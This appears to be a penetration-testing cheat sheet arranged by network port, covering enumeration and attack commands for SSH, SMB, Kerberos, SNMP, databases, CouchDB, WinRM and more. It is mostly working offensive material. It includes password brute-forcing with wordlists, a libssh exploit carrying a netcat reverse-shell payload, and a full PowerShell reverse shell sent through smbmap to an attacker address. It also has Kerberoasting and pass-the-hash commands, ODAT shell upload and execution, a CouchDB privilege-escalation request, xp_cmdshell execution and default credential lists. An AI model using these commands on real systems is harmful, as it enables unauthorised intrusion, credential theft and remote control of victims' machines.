    hashtag
    Port 69 - UDP - TFTP

    • Vulns tftp in server 1.3, 1.4, 1.9, 2.1, and a few more.

    • Same checks as FTP Port 21.

    hashtag
    Port 79 - Finger

    hashtag
    Port 88 - Kerberos

    Check section

    hashtag
    Port 110 - Pop3

    hashtag
    Port 111 - Rpcbind

    hashtag
    Port 135 - MSRPC

    Some versions are vulnerable.

    hashtag
    Port 139/445 - SMB

    hashtag
    Port 161/162 UDP - SNMP

    hashtag
    Port 389,636 - LDAP

    Check section and this guide

    hashtag
    Port 443 - HTTPS

    Read the actual SSL CERT to:

    • find out potential correct vhost to GET

    • is the clock skewed

    • any names that could be usernames for bruteforce/guessing.

    hashtag
    Port 500 - ISAKMP IKE

    hashtag
    Port 513 - Rlogin

    hashtag
    Port 541 - FortiNet SSLVPN

    hashtag
    Port 1433 - MSSQL

    hashtag
    Port 1521 - Oracle

    hashtag
    Port 2000 - Cisco sccp

    hashtag
    Port 2049 - NFS

    hashtag
    Port 2100 - Oracle XML DB

    Default passwords:

    hashtag
    Port 3306 - MySQL

    hashtag
    Port 3389 - RDP

    hashtag
    Port 5432 - PostgreSQL

    hashtag
    Port 5900 - VNC

    hashtag
    Port 5984 - CouchDB

    hashtag
    Port 5985 - WinRM

    hashtag
    Port 6379 - Redis

    hashtag
    Port 8172 - MsDeploy

    hashtag
    Port 5601/9200

    hashtag
    Port 27017-19/27080/28017 - MongoDB

    hashtag
    Unknown ports

    • amap -d 10.11.1.111 8000

    • netcat: makes connections to ports. Can echo strings or give shells: nc -nv 10.11.1.111 110

    • sfuzz: can connect to ports, udp or tcp, refrain from closing a connection, using basic HTTP configurations

    hashtag
    RCE ports

    nmap --script ftp-* -p 21 10.11.1.111

    Named pipe

    Description

    Service or process

    Interface identifier

    atsvc

    interface (Scheduler service)

    mstask.exe

    1ff70682-0a51-30e8-076d-740be8cee98b v1.0

    AudioSrv

    interface (Windows Audio service)

    AudioSrv

    3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.0

    browser (ntsvcs alias)

    interface (Computer Browser service)

    Browser

    6bffd098-a112-3610-9833-012892020162 v0.0

    cert

    interface (Certificate services)

    certsrv.exe

    91ae6020-9e3c-11cf-8d7c-00aa00c091be v0.0

    Ctx_Winstation_API_Service

    interface

    termsrv.exe

    5ca4a760-ebb1-11cf-8611-00a0245420ed v1.0

    DAV RPC SERVICE

    interface (WebDAV client service)

    WebClient

    c8cb7687-e6d3-11d2-a958-00c04f682e16 v1.0

    dnsserver

    interface (DNS Server service)

    dns.exe

    50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0

    epmapper

    interface (RPC endpoint mapper)

    RpcSs

    e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0

    eventlog (ntsvcs alias)

    interface (Eventlog service)

    Eventlog

    82273fdc-e32a-18c3-3f78-827929dc23ea v0.0

    HydraLsPipe

    Terminal Server Licensing

    lserver.exe

    3d267954-eeb7-11d1-b94e-00c04fa3080d v1.0

    InitShutdown

    interface

    winlogon.exe

    894de0c0-0d55-11d3-a322-00c04fa321a1 v1.0

    keysvc

    interface (Cryptographic services)

    CryptSvc

    8d0ffe72-d252-11d0-bf8f-00c04fd9126b v1.0

    keysvc

    interface (Cryptographic services)

    CryptSvc

    0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 v1.0

    locator

    interface (RPC Locator service)

    locator.exe

    d6d70ef0-0e3b-11cb-acc3-08002b1d29c4 v1.0

    llsrpc

    interface (Licensing Logging service)

    llssrv.exe

    342cfd40-3c6c-11ce-a893-08002b2e9c6d v0.0

    lsarpc (lsass alias)

    interface

    lsass.exe

    12345778-1234-abcd-ef00-0123456789ab v0.0

    lsarpc (lsass alias)

    interface

    lsass.exe

    3919286a-b10c-11d0-9ba8-00c04fd92ef5 v0.0

    msgsvc (ntsvcs alias)

    interface (Messenger service)

    messenger

    5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc v1.0

    nddeapi

    interface (NetDDE service)

    netdde.exe

    2f5f3220-c126-1076-b549-074d078619da v1.2

    netdfs

    interface (Distributed File System service)

    Dfssvc

    4fc742e0-4a10-11cf-8273-00aa004ae673 v3.0

    netlogon (lsass alias)

    interface (Net Logon service)

    Netlogon

    12345678-1234-abcd-ef00-01234567cffb v1.0

    ntsvcs

    interface (Plug and Play service)

    PlugPlay

    8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0

    plugplay

    interface (Plug and Play Windows Vista service)

    PlugPlay

    8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0

    policyagent

    interface (IPSEC Policy Agent (Windows 2000))

    PolicyAgent

    d335b8f6-cb31-11d0-b0f9-006097ba4e54 v1.5

    ipsec

    interface (IPsec Services)

    PolicyAgent

    12345678-1234-abcd-ef00-0123456789ab v1.0

    ProfMapApi

    interface

    winlogon.exe

    369ce4f0-0fdc-11d3-bde8-00c04f8eee78 v1.0

    protected_storage

    interface (Protected Storage)

    lsass.exe

    c9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0

    ROUTER

    Remote Access

    mprdim.dll

    8f09f000-b7ed-11ce-bbd2-00001a181cad v0.0

    samr (lsass alias)

    interface

    lsass.exe

    12345778-1234-abcd-ef00-0123456789ac v1.0

    scerpc

    services.exe

    93149ca2-973b-11d1-8c39-00c04fb984f9 v0.0

    SECLOGON

    interface (Secondary logon service)

    seclogon

    12b81e99-f207-4a4c-85d3-77b42f76fd14 v1.0

    SfcApi

    interface (Windows File Protection)

    winlogon.exe

    83da7c00-e84f-11d2-9807-00c04f8ec850 v2.0

    spoolss

    interface (Spooler service)

    spoolsv.exe

    12345678-1234-abcd-ef00-0123456789ab v1.0

    srvsvc (ntsvcs alias)

    interface (Server service)

    services.exe (w2k) or svchost.exe (wxp and w2k3)

    4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0

    ssdpsrv

    interface (SSDP service)

    ssdpsrv

    4b112204-0e19-11d3-b42b-0000f81feb9f v1.0

    svcctl (ntsvcs alias)

    interface (Services control manager)

    services.exe

    367aeb81-9844-35f1-ad32-98f038001003 v2.0

    tapsrv

    interface (Telephony service)

    Tapisrv

    2f5f6520-ca46-1067-b319-00dd010662da v1.0

    trkwks

    interface (Distributed Link Tracking Client)

    Trkwks

    300f3532-38cc-11d0-a3f0-0020af6b0add v1.2

    W32TIME (ntsvcs alias)

    interface (Windows Time (Windows 2000 and XP))

    w32time

    8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1

    W32TIME_ALT

    interface (Windows Time (Windows Server 2003, Windows Vista))

    w32time

    8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1

    winlogonrpc

    interface

    winlogon.exe

    a002b3a0-c9b7-11d1-ae88-0080c75e4ec1 v1.0

    winreg

    interface (Remote registry service)

    RemoteRegistry

    338cd001-2244-31f1-aaaa-900038001003 v1.0

    winspipe

    interface (WINS service)

    wins.exe

    45f52c28-7f9f-101a-b52b-08002b2efabe v1.0

    wkssvc (ntsvcs alias)

    interface (Workstation service)

    services.exe (w2k) or svchost.exe (wxp and w2k3)

    6bffd098-a112-3610-9833-46c3f87e345a v1.0

    Kerberos dedicated
    AD
    LDAParrow-up-right
    Fortinet Ports Guidearrow-up-right
    SSL VPN Leakarrow-up-right
    https://docs.oracle.com/cd/B10501_01/win.920/a95490/username.htmarrow-up-right
    ELK
    MongoDB
    # Enum SSH
    # Get version
    nmap 10.11.1.1 -p22 -sV
    # Get banner
    nc 10.11.1.1 22
    # Get login banner
    ssh [email protected]
    # Get algorythms supporteed
    nmap -p22 10.11.1.1 --script ssh2-enum-algos
    # Check weak keys
    nmap-p22 10.2.1.1 --script ssh-hostkey --script-args ssh_hostkey=full
    # Check auth methods
    nmap -p22 10.11.1.1 --script ssh-auth-methods --script-args="ssh.user=admin"
    
    # User can ask to execute a command right after authentication before it’s default command or shell is executed
    $ ssh -v [email protected] id
    ...
    Password:
    debug1: Authentication succeeded (keyboard-interactive).
    Authenticated to 10.10.1.111 ([10.10.1.1114]:22).
    debug1: channel 0: new [client-session]
    debug1: Requesting [email protected]
    debug1: Entering interactive session.
    debug1: pledge: network
    debug1: client_input_global_request: rtype [email protected] want_reply 0
    debug1: Sending command: id
    debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
    debug1: client_input_channel_req: channel 0 rtype [email protected] reply 0
    uid=1000(user) gid=100(users) groups=100(users)
    debug1: channel 0: free: client-session, nchannels 1
    Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
    Bytes per second: sent 43133.4, received 44349.5
    debug1: Exit status 0
    
    # Check Auth Methods:
    $ ssh -v 10.10.1.111
    OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
    ...
    debug1: Authentications that can continue: publickey,password,keyboard-interactive
    
    # Force Auth Method:
    $ ssh -v 10.10.1.111 -o PreferredAuthentications=password
    ...
    debug1: Next authentication method: password
    
    # BruteForce:
    patator ssh_login host=10.11.1.111 port=22 user=root 0=/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt password=FILE0 -x ignore:mesg='Authentication failed.'
    hydra -l user -P /usr/share/wordlists/password/rockyou.txt -e s ssh://10.10.1.111
    medusa -h 10.10.1.111 -u user -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh
    ncrack --user user -P /usr/share/wordlists/password/rockyou.txt ssh://10.10.1.111
    
    # LibSSH Before 0.7.6 and 0.8.4 - LibSSH 0.7.6 / 0.8.4 - Unauthorized Access 
    # Id
    python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 id
    # Reverse
    python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1.111 80 >/tmp/f"
    
    # SSH FUZZ
    # https://dl.packetstormsecurity.net/fuzzer/sshfuzz.txt
    
    # cpan Net::SSH2
    ./sshfuzz.pl -H 10.10.1.111 -P 22 -u user -p user
    
    use auxiliary/fuzzers/ssh/ssh_version_2
    
    # SSH-AUDIT
    # https://github.com/arthepsy/ssh-audit                     
    
    # Enum users < 7.7:
    # https://www.exploit-db.com/exploits/45233
    https://github.com/CaioCGH/EP4-redes/blob/master/attacker/sshUsernameEnumExploit.py
    python ssh_user_enum.py --port 2223 --userList /root/Downloads/users.txt IP 2>/dev/null | grep "is a"
    
    # SSH Leaks:
    https://shhgit.darkport.co.uk/
    
    # SSH bruteforce
    # https://github.com/kitabisa/ssb
    # Get banner
    telnet 10.11.1.110
    # Bruteforce password
    patator telnet_login host=10.11.1.110 inputs='FILE0\nFILE1' 0=/root/Desktop/user.txt 1=/root/Desktop/pass.txt  persistent=0 prompt_re='Username: | Password:'
    nc -nvv 10.11.1.111 25
    HELO foo
    
    telnet 10.11.1.111 25
    VRFY root
    
    nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.11.1.111
    smtp-user-enum -M VRFY -U /root/sectools/SecLists/Usernames/Names/names.txt -t 10.11.1.111
    
    # SMTP relay
    msfconsole
    use auxiliary/scanner/smtp/smtp_relay
    set RHOSTS <IP or File>
    set MAILFROM <PoC email address>
    set MAILTO <your email address>
    run
    
    # Send email unauth:
    
    MAIL FROM:[email protected]
    RCPT TO:[email protected]
    DATA
    test
    
    .
    
    Receive:
    250 OK
    whois -h 10.10.1.111 -p 43 "domain.com"
    echo "domain.com" | nc -vn 10.10.1.111 43
    whois -h 10.10.1.111 -p 43 "a') or 1=1#"
    # Transfer zone
    
    dig AXFR domain.com @10.10.10.10
    # dig +multi AXFR @ns1.insecuredns.com insecuredns.com
    dnsrecon -t axfr -d domain
    fierce -dns domain.com
    nmap -p69 --script=tftp-enum.nse 10.11.1.111
    nc -vn 10.11.1.111 79
    echo "root" | nc -vn 10.11.1.111 79
    
    # User enumeration
    finger @10.11.1.111       #List users
    finger [email protected]  #Get info of user
    finger [email protected]   #Get info of user
    
    finger "|/bin/[email protected]"
    finger "|/bin/ls -a /@example.com"
    nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN.LOCAL'" IP
    use auxiliary/gather/kerberos_enumusers # MSF
    
    # Check for Kerberoasting: 
    GetNPUsers.py DOMAIN-Target/ -usersfile user.txt -dc-ip <IP> -format hashcat/john
    
    # GetUserSPNs
    ASREPRoast:
    impacket-GetUserSPNs <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
    impacket-GetUserSPNs <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
    
    # Kerberoasting: 
    impacket-GetUserSPNs <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file> 
    
    # Overpass The Hash/Pass The Key (PTK):
    python3 getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
    python3 getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
    python3 getTGT.py <domain_name>/<user_name>:[password]
    
    # Using TGT key to excute remote commands from the following impacket scripts:
    
    python3 psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
    python3 smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
    python3 wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
    
    # https://www.tarlogic.com/blog/como-funciona-kerberos/
    # https://www.tarlogic.com/blog/como-atacar-kerberos/
    
    python kerbrute.py -dc-ip IP -users /root/htb/kb_users.txt -passwords /root/pass_common_plus.txt -threads 20 -domain DOMAIN -outputfile kb_extracted_passwords.txt
    
    # https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/
    # https://github.com/GhostPack/Rubeus
    # https://github.com/fireeye/SSSDKCMExtractor
    # https://gitlab.com/Zer1t0/cerbero
    telnet 10.11.1.111
    USER [email protected]
    PASS admin
    
    # or:
    
    USER pelle
    PASS admin
    
    # List all emails
    list
    
    # Retrieve email number 5, for example
    retr 9
    rpcinfo -p 10.11.1.111
    rpcclient -U "" 10.11.1.111
        srvinfo
        enumdomusers
        getdompwinfo
        querydominfo
        netshareenum
        netshareenumall
    nmap 10.11.1.111 --script=msrpc-enum
    msf > use exploit/windows/dcerpc/ms03_026_dcom
    
    # Endpoint Mapper Service Discovery
    use auxiliary/scanner/dcerpc/endpoint_mapper
    
    #Hidden DCERPC Service Discovery
    use auxiliary/scanner/dcerpc/hidden
    
    # Remote Management Interface Discovery
    use auxiliary/scanner/dcerpc/management
    
    # DCERPC TCP Service Auditor
    use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
    
    impacket-rpcdump
    
    # Enum network interface
    # https://github.com/mubix/IOXIDResolver
    # Enum hostname
    enum4linux -n 10.11.1.111
    nmblookup -A 10.11.1.111
    nmap --script=smb-enum* --script-args=unsafe=1 -T5 10.11.1.111
    
    # Get Version
    smbver.sh 10.11.1.111
    Msfconsole;use scanner/smb/smb_version
    ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]' 
    smbclient -L \\\\10.11.1.111
    
    # Get Shares
    smbmap -H  10.11.1.111 -R 
    echo exit | smbclient -L \\\\10.11.1.111
    smbclient \\\\10.11.1.111\\
    smbclient -L //10.11.1.111 -N
    nmap --script smb-enum-shares -p139,445 -T4 -Pn 10.11.1.111
    smbclient -L \\\\10.11.1.111\\
    # If got error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED"
    smbclient -L //10.11.1.111/ --option='client min protocol=NT1'
    
    # Check null sessions
    smbmap -H 10.11.1.111
    rpcclient -U "" -N 10.11.1.111
    smbclient //10.11.1.111/IPC$ -N
    
    # Exploit null sessions
    enum -s 10.11.1.111
    enum -U 10.11.1.111
    enum -P 10.11.1.111
    enum4linux -a 10.11.1.111
    #https://github.com/cddmp/enum4linux-ng/
    enum4linux-ng.py 10.11.1.111 -A -C
    /usr/share/doc/python3-impacket/examples/samrdump.py 10.11.1.111
    
    # Connect to username shares
    smbclient //10.11.1.111/share -U username
    
    # Connect to share anonymously
    smbclient \\\\10.11.1.111\\
    smbclient //10.11.1.111/
    smbclient //10.11.1.111/
    smbclient //10.11.1.111/<""share name"">
    rpcclient -U " " 10.11.1.111
    rpcclient -U " " -N 10.11.1.111
    
    # Check vulns
    nmap --script smb-vuln* -p139,445 -T4 -Pn 10.11.1.111
    
    # Multi exploits
    msfconsole; use exploit/multi/samba/usermap_script; set lhost 192.168.0.X; set rhost 10.11.1.111; run
    
    # Bruteforce login
    medusa -h 10.11.1.111 -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt 
    nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 10.11.1.111  -vvvv
    nmap –script smb-brute 10.11.1.111
    
    # nmap smb enum & vuln 
    nmap --script smb-enum-*,smb-vuln-*,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-protocols -p 139,445 10.11.1.111
    nmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse -p 139,445 10.11.1.111
    
    # Mount smb volume linux
    mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share
    
    # rpcclient commands
    rpcclient -U "" 10.11.1.111
        srvinfo
        enumdomusers
        getdompwinfo
        querydominfo
        netshareenum
        netshareenumall
    
    # Run cmd over smb from linux
    winexe -U username //10.11.1.111 "cmd.exe" --system
    
    # smbmap
    smbmap.py -H 10.11.1.111 -u administrator -p asdf1234 #Enum
    smbmap.py -u username -p 'P@$$w0rd1234!' -d DOMAINNAME -x 'net group "Domain Admins" /domain' -H 10.11.1.111 #RCE
    smbmap.py -H 10.11.1.111 -u username -p 'P@$$w0rd1234!' -L # Drive Listing
    smbmap.py -u username -p 'P@$$w0rd1234!' -d ABC -H 10.11.1.111 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.X""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize  ;$p=New-Object System.Diagnostics.Process  ;$p.StartInfo.FileName=""""cmd.exe""""  ;$p.StartInfo.RedirectStandardInput=1  ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0  ;$p.Start()  ;$is=$p.StandardInput  ;$os=$p.StandardOutput  ;Start-Sleep 1  ;$e=new-object System.Text.AsciiEncoding  ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length)  ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}}  if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else {  $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}}  $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"' # Reverse Shell
    
    # Check
    \Policies\{REG}\MACHINE\Preferences\Groups\Groups.xml look for user&pass "gpp-decrypt "
    
    # CrackMapExec
    crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local
    crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local --lsa
    
    # Impacket
    python3 samdump.py SMB 172.21.0.0
    
    # Check for systems with SMB Signing not enabled
    python3 RunFinger.py -i 172.21.0.0/24
    nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes 10.11.1.111
    nmap 10.11.1.111 -Pn -sU -p 161 --script=snmp-brute,snmp-hh3c-logins,snmp-info,snmp-interfaces,snmp-ios-config,snmp-netstat,snmp-processes,snmp-sysdescr,snmp-win32-services,snmp-win32-shares,snmp-win32-software,snmp-win32-users
    snmp-check 10.11.1.111 -c public|private|community
    snmpwalk -c public -v1 ipaddress 1
    snmpwalk -c private -v1 ipaddress 1
    snmpwalk -c manager -v1 ipaddress 1
    onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 172.21.0.X
    
    # Impacket
    python3 samdump.py SNMP 172.21.0.0 
    
    # MSF aux modules
     auxiliary/scanner/misc/oki_scanner                                    
     auxiliary/scanner/snmp/aix_version                                   
     auxiliary/scanner/snmp/arris_dg950                                   
     auxiliary/scanner/snmp/brocade_enumhash                               
     auxiliary/scanner/snmp/cisco_config_tftp                               
     auxiliary/scanner/snmp/cisco_upload_file                              
     auxiliary/scanner/snmp/cnpilot_r_snmp_loot                             
     auxiliary/scanner/snmp/epmp1000_snmp_loot                             
     auxiliary/scanner/snmp/netopia_enum                                    
     auxiliary/scanner/snmp/sbg6580_enum                                 
     auxiliary/scanner/snmp/snmp_enum                                 
     auxiliary/scanner/snmp/snmp_enum_hp_laserjet                           
     auxiliary/scanner/snmp/snmp_enumshares                                
     auxiliary/scanner/snmp/snmp_enumusers                                 
     auxiliary/scanner/snmp/snmp_login
    jxplorer
    ldapsearch -h 10.11.1.111 -p 389 -x -b "dc=mywebsite,dc=com"
    python3 windapsearch.py --dc-ip 10.10.10.182 --users --full > windapsearch_users.txt
    cat windapsearch_users.txt | grep sAMAccountName | cut -d " " -f 2 > users.txt
    # Check # https://github.com/ropnop/go-windapsearch
    ./testssl.sh -e -E -f -p  -S -P -c -H -U TARGET-HOST > OUTPUT-FILE.html
    # Check for mod_ssl,OpenSSL version Openfuck
    ike-scan 10.11.1.111
    apt install rsh-client
    rlogin -l root 10.11.1.111
    nmap -p 1433 -sU --script=ms-sql-info.nse 10.11.1.111
    use auxiliary/scanner/mssql/mssql_ping
    use auxiliary/scanner/mssql/mssql_login
    use exploit/windows/mssql/mssql_payload
    sqsh -S 10.11.1.111 -U sa
        xp_cmdshell 'date'
          go
    
    
    EXEC sp_execute_external_script @language = N'Python', @script = N'import os;os.system("whoami")'
    
    https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/
    oscanner -s 10.11.1.111 -P 1521
    tnscmd10g version -h 10.11.1.111
    tnscmd10g status -h 10.11.1.111
    nmap -p 1521 -A 10.11.1.111
    nmap -p 1521 --script=oracle-tns-version,oracle-sid-brute,oracle-brute
    MSF: good modules under auxiliary/admin/oracle and scanner/oracle
    
    # https://github.com/quentinhardy/odat
    ./odat-libc2.5-i686 all -s 10.11.1.111 -p 1521
    ./odat-libc2.5-i686 sidguesser -s 10.11.1.111 -p 1521
    ./odat-libc2.5-i686 passwordguesser -s 10.11.1.111 -p 1521 -d XE
    
    # Upload reverse shell with ODAT:
    ./odat-libc2.5-i686 utlfile -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --putFile c:/ shell.exe /root/shell.exe
    
    # and run it:
    ./odat-libc2.5-i686 externaltable -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --exec c:/ shell.exe
    # cisco-audit-tool
    CAT -h ip -p 2000 -w /usr/share/wordlists/rockyou.txt 
    
    # cisco-smart-install
    https://github.com/Sab0tag3d/SIET/
    sudo python siet.py -g -i 192.168.0.1
    nmap -p 111,2049 --script nfs-ls,nfs-showmount
    
    showmount -e 10.11.1.111
    
    # If you find anything you can mount it like this:
    
    mount 10.11.1.111:/ /tmp/NFS –o nolock
    mount -t nfs 10.11.1.111:/ /tmp/NFS –o nolock
    nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse 10.11.1.111 -p 3306
    
    mysql --host=10.11.1.111 -u root -p
    
    # MYSQL UDF 4.x/5.0
    https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/
    nmap -p 3389 --script=rdp-vuln-ms12-020.nse
    rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.11.1.111
    rdesktop -u guest -p guest 10.11.1.111 -g 94%
    ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://10.11.1.111
    python crowbar.py -b rdp -s 10.11.1.111/32 -u admin -C ../rockyou.txt -v
    psql -h 10.10.1.111 -U postgres -W
    
    # Default creds
    postgres : postgres
    postgres : password
    postgres : admin
    admin : admin
    admin : password
    
    pg_dump --host=10.10.1.111 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump
    nmap --script=vnc-info,vnc-brute,vnc-title -p 5900 10.11.1.111
    curl http://example.com:5984/
    curl -X GET http://IP:5984/_all_dbs
    curl -X GET http://user:password@IP:5984/_all_dbs
    
    # CVE-2017-12635 RCE
    
    # Create user
    curl -X PUT ‘http://localhost:5984/_users/org.couchdb.user:chenny' — data-binary ‘{ “type”: “user”, “name”: “chenny”, “roles”: [“_admin”], “roles”: [], “password”: “password” }’
    
    # Dump database
    curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u chenny:-Xpassword <ds/_all_docs?include_docs=true -u chenny:-Xpassword
    
    # Dump passwords
    curl -X GET http://user:passwords@localhost:5984/passwords
    # https://github.com/Hackplayers/evil-winrm
    gem install evil-winrm
    evil-winrm -i 10.11.1.111 -u Administrator -p 'password1'
    evil-winrm -i 10.11.1.111 -u Administrator -H 'hash-pass' -s /scripts/folder
    # https://github.com/Avinash-acid/Redis-Server-Exploit
    python redis.py 10.10.10.160 redis
    # Microsoft IIS Deploy port
    IP:8172/msdeploy.axd
    atsvcarrow-up-right
    AudioSrvarrow-up-right
    browserarrow-up-right
    ICertPassagearrow-up-right
    winstation_rpcarrow-up-right
    davclntrpcarrow-up-right
    DnsServerarrow-up-right
    epmparrow-up-right
    eventlogarrow-up-right
    InitShutdownarrow-up-right
    IKeySvcarrow-up-right
    ICertProtectarrow-up-right
    NsiSarrow-up-right
    llsrpcarrow-up-right
    lsarpcarrow-up-right
    dssetuparrow-up-right
    msgsvcsendarrow-up-right
    nddeapiarrow-up-right
    netdfsarrow-up-right
    netlogonarrow-up-right
    pnparrow-up-right
    pnparrow-up-right
    PolicyAgentarrow-up-right
    winipsecarrow-up-right
    pmapapiarrow-up-right
    IPStoreProvarrow-up-right
    samrarrow-up-right
    SceSvcarrow-up-right
    ISeclogonarrow-up-right
    sfcapiarrow-up-right
    spoolssarrow-up-right
    srvsvcarrow-up-right
    ssdpsrvarrow-up-right
    svcctlarrow-up-right
    tapsrvarrow-up-right
    trkwksarrow-up-right
    w32timearrow-up-right
    w32timearrow-up-right
    GetUserTokenarrow-up-right
    winregarrow-up-right
    winsifarrow-up-right
    wkssvcarrow-up-right
    Cross-Site Scripting (XSS) Cheat Sheet - 2026 Edition | Web Security AcademyWebSecAcademychevron-right
    Logo